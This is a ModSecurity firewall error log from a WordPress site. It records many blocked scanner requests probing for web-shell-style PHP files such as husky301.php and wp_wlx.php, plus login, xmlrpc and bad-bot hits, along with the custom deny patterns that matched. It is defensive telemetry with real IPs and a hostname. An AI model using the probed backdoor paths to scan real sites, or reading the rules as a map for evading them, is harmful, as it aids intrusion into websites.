[Sun Feb 22 23:33:02.930660 2026] [:error] [pid 2628:tid 2642] [client 185.137.164.18:22821] [client 185.137.164.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aZshrrK4woMTeUPH2ns5yQAAAQs"]
[Sun Feb 22 23:33:04.492703 2026] [:error] [pid 3103:tid 3107] [client 185.137.164.16:23299] [client 185.137.164.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aZshsJfzX5hBIaQY93N8bgAAAYE"]
[Sun Feb 22 23:33:05.314461 2026] [:error] [pid 2473:tid 2483] [client 185.137.164.13:42333] [client 185.137.164.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aZshsXptAeV7-XzzNzg6mAAAAAY"]
[Sun Feb 22 23:33:07.097887 2026] [:error] [pid 2628:tid 2643] [client 185.137.164.14:51509] [client 185.137.164.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aZshs7K4woMTeUPH2ns6CwAAAQw"]
[Sun Feb 22 23:33:08.257455 2026] [:error] [pid 2574:tid 2598] [client 185.137.164.18:33347] [client 185.137.164.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aZshtMkPV7h4nTf-jiTkeQAAANE"]
[Sun Feb 22 23:33:09.281629 2026] [:error] [pid 2629:tid 2658] [client 185.137.164.14:46491] [client 185.137.164.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aZshtQlsXSV5M4mfwZ9YPAAAAUA"]
[Sun Feb 22 23:33:09.919867 2026] [:error] [pid 2473:tid 2479] [client 185.137.164.18:48337] [client 185.137.164.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aZshtXptAeV7-XzzNzg67gAAAAI"]
[Sun Feb 22 23:33:10.611118 2026] [:error] [pid 3103:tid 3122] [client 185.137.164.21:25159] [client 185.137.164.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aZshtpfzX5hBIaQY93N8xAAAAZA"]
[Sun Feb 22 23:33:12.151311 2026] [:error] [pid 2475:tid 2558] [client 185.137.164.19:63885] [client 185.137.164.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aZshuCdme8TSKYpXujdvJQAAAJI"]
[Sun Feb 22 23:33:12.863852 2026] [:error] [pid 2574:tid 2587] [client 185.137.164.13:58643] [client 185.137.164.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aZshuMkPV7h4nTf-jiTkxQAAAMY"]
[Sun Feb 22 23:33:13.465875 2026] [:error] [pid 2628:tid 2637] [client 185.137.164.13:53895] [client 185.137.164.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aZshubK4woMTeUPH2ns6WwAAAQY"]
[Sun Feb 22 23:33:16.763884 2026] [:error] [pid 2474:tid 2513] [client 185.137.164.19:42709] [client 185.137.164.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aZshvPhvE7P5hX_xKnS2gwAAAEQ"]
[Sun Feb 22 23:33:18.174160 2026] [:error] [pid 2628:tid 2655] [client 185.137.164.15:58245] [client 185.137.164.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.137.164.15, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aZshvrK4woMTeUPH2ns6oAAAARg"]
[Sun Feb 22 23:33:19.073190 2026] [:error] [pid 2628:tid 2643] [client 185.137.164.15:58245] [client 185.137.164.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/class-config.php"] [unique_id "aZshv7K4woMTeUPH2ns6rAAAAQw"]
[Sun Feb 22 23:33:19.609510 2026] [:error] [pid 2574:tid 2585] [client 185.137.164.15:36021] [client 185.137.164.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/class-config.php"] [unique_id "aZshv8kPV7h4nTf-jiTlLAAAAMQ"]
[Sun Feb 22 23:33:23.271570 2026] [:error] [pid 2473:tid 2497] [client 185.137.164.19:49443] [client 185.137.164.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aZshw3ptAeV7-XzzNzg70wAAABQ"]
[Sun Feb 22 23:33:28.177431 2026] [:error] [pid 26033:tid 26045] [client 185.137.164.15:54221] [client 185.137.164.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aZshyETRRZdhkkS8ouSHhwAAAco"]
[Sun Feb 22 23:33:28.700294 2026] [:error] [pid 2574:tid 2599] [client 185.137.164.17:55675] [client 185.137.164.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.137.164.17, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aZshyMkPV7h4nTf-jiTllAAAANI"]
[Sun Feb 22 23:33:29.015140 2026] [:error] [pid 2574:tid 2591] [client 185.137.164.17:55675] [client 185.137.164.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap/function.php"] [unique_id "aZshyckPV7h4nTf-jiTlmQAAAMo"]
[Sun Feb 22 23:33:29.929874 2026] [:error] [pid 2473:tid 2492] [client 185.137.164.12:30237] [client 185.137.164.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aZshyXptAeV7-XzzNzg8RAAAAA8"]
[Sun Feb 22 23:33:31.097529 2026] [:error] [pid 2474:tid 2528] [client 185.137.164.14:51545] [client 185.137.164.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/admin.php"] [unique_id "aZshy_hvE7P5hX_xKnS3XwAAAEw"]
[Sun Feb 22 23:33:32.826996 2026] [:error] [pid 2474:tid 2530] [client 185.137.164.21:37781] [client 185.137.164.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp_wlx.php"] [unique_id "aZshzPhvE7P5hX_xKnS3dAAAAE0"]
[Sun Feb 22 23:33:33.916831 2026] [:error] [pid 26033:tid 26050] [client 185.137.164.15:53251] [client 185.137.164.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aZshzUTRRZdhkkS8ouSH0gAAAc8"]
[Sun Feb 22 23:33:36.211706 2026] [:error] [pid 2475:tid 2564] [client 185.137.164.21:57529] [client 185.137.164.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/about.php"] [unique_id "aZsh0Cdme8TSKYpXujdwigAAAJg"]
[Sun Feb 22 23:33:37.182825 2026] [:error] [pid 2574:tid 2600] [client 185.137.164.20:32025] [client 185.137.164.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aZsh0ckPV7h4nTf-jiTmAAAAANM"]
[Sun Feb 22 23:33:37.873350 2026] [:error] [pid 2628:tid 2636] [client 185.137.164.15:35479] [client 185.137.164.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aZsh0bK4woMTeUPH2ns7qQAAAQU"]
[Sun Feb 22 23:33:38.493460 2026] [:error] [pid 26033:tid 26053] [client 185.137.164.15:56031] [client 185.137.164.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aZsh0kTRRZdhkkS8ouSIFQAAAdI"]
[Sun Feb 22 23:33:39.028519 2026] [:error] [pid 2474:tid 2539] [client 185.137.164.15:54393] [client 185.137.164.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aZsh0_hvE7P5hX_xKnS30gAAAFI"]
[Sun Feb 22 23:33:39.744095 2026] [:error] [pid 2475:tid 2552] [client 185.137.164.17:20311] [client 185.137.164.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aZsh0ydme8TSKYpXujdwxAAAAIw"]
[Sun Feb 22 23:33:40.284410 2026] [:error] [pid 2475:tid 2548] [client 185.137.164.20:61199] [client 185.137.164.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aZsh1Cdme8TSKYpXujdwywAAAIg"]
[Sun Feb 22 23:33:41.553105 2026] [:error] [pid 2574:tid 2602] [client 185.137.164.21:36191] [client 185.137.164.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/"] [unique_id "aZsh1ckPV7h4nTf-jiTmOQAAANU"]
[Sun Feb 22 23:33:42.705682 2026] [:error] [pid 3103:tid 3128] [client 185.137.164.20:41165] [client 185.137.164.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aZsh1pfzX5hBIaQY93N-wQAAAZY"]
[Sun Feb 22 23:33:43.317828 2026] [:error] [pid 3103:tid 3124] [client 185.137.164.15:63231] [client 185.137.164.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aZsh15fzX5hBIaQY93N-zQAAAZI"]
[Sun Feb 22 23:33:43.939312 2026] [:error] [pid 2628:tid 2646] [client 185.137.164.12:35271] [client 185.137.164.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aZsh17K4woMTeUPH2ns78QAAAQ8"]
[Sun Feb 22 23:33:44.491927 2026] [:error] [pid 2474:tid 2515] [client 185.137.164.14:24859] [client 185.137.164.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aZsh2PhvE7P5hX_xKnS4HgAAAEY"]
[Sun Feb 22 23:33:45.035426 2026] [:error] [pid 2475:tid 2521] [client 185.137.164.21:23321] [client 185.137.164.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aZsh2Sdme8TSKYpXujdw-AAAAIA"]
[Mon Feb 23 00:49:14.073262 2026] [:error] [pid 28426:tid 28536] [client 20.214.159.60:3440] [client 20.214.159.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.214.159.60, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZszimgbPVf4pO12NZnGjwAAAI4"]
[Mon Feb 23 00:49:15.280801 2026] [:error] [pid 28426:tid 28530] [client 20.214.159.60:3440] [client 20.214.159.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aZszi2gbPVf4pO12NZnGlgAAAIg"]
[Mon Feb 23 00:49:15.829907 2026] [:error] [pid 28425:tid 28516] [client 20.214.159.60:3455] [client 20.214.159.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aZszizO7QIkwG1UqFGzfmQAAAFc"]
[Mon Feb 23 00:49:16.369384 2026] [:error] [pid 28558:tid 28567] [client 20.214.159.60:3274] [client 20.214.159.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aZszjCdFHR5e1Gd10vd0FwAAAMc"]
[Mon Feb 23 00:49:16.911826 2026] [:error] [pid 4806:tid 4813] [client 20.214.159.60:3404] [client 20.214.159.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aZszjPFTHI_ud-cTYbTmOgAAAQU"]
[Mon Feb 23 03:39:46.296235 2026] [:error] [pid 28425:tid 28516] [client 43.135.144.81:40388] [client 43.135.144.81] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZtbgjO7QIkwG1UqFGwf9QAAAFc"]
[Mon Feb 23 04:53:42.279698 2026] [:error] [pid 54381:tid 54450] [client 43.166.244.192:50090] [client 43.166.244.192] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZts1rZA3T28ex6RStpfKgAAAIg"]
[Mon Feb 23 07:11:17.777745 2026] [:error] [pid 2444:tid 2464] [client 41.56.65.1:13251] [client 41.56.65.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.56.65.1, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZuNFbMHc-5h3vMZorA0GgAAABA"]
[Mon Feb 23 07:33:00.936347 2026] [:error] [pid 2446:tid 2517] [client 36.41.75.167:33493] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZuSLNMqX9gYEfsYvrjG3gAAAI8"]
[Mon Feb 23 08:51:59.569718 2026] [:error] [pid 39540:tid 39569] [client 104.28.203.58:49611] [client 104.28.203.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aZukr7sgm9aTWhlRScJolQAAAcA"]
[Mon Feb 23 08:51:59.972047 2026] [:error] [pid 39540:tid 39572] [client 104.28.203.58:53804] [client 104.28.203.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/style.php"] [unique_id "aZukr7sgm9aTWhlRScJomwAAAcM"]
[Mon Feb 23 08:52:01.541265 2026] [:error] [pid 25380:tid 25387] [client 104.28.203.58:53816] [client 104.28.203.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/style.php"] [unique_id "aZuksaKrc8yFQ8fy78ogBgAAAMU"]
[Mon Feb 23 08:52:01.980107 2026] [:error] [pid 25380:tid 25396] [client 104.28.203.58:53923] [client 104.28.203.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/style.php"] [unique_id "aZuksaKrc8yFQ8fy78ogBwAAAM4"]
[Mon Feb 23 08:52:28.985760 2026] [:error] [pid 39540:tid 39592] [client 104.28.161.188:55512] [client 104.28.161.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style.php"] [unique_id "aZukzLsgm9aTWhlRScJpKQAAAdc"]
[Mon Feb 23 09:21:58.196674 2026] [:error] [pid 39540:tid 39571] [client 51.77.43.170:40748] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZurtrsgm9aTWhlRScKAZwAAAcI"]
[Mon Feb 23 09:21:58.252441 2026] [:error] [pid 39540:tid 39580] [client 51.77.43.170:40764] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZurtrsgm9aTWhlRScKAaAAAAcs"]
[Mon Feb 23 09:21:58.318444 2026] [:error] [pid 25380:tid 25383] [client 51.77.43.170:40780] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZurtqKrc8yFQ8fy78ow5QAAAME"]
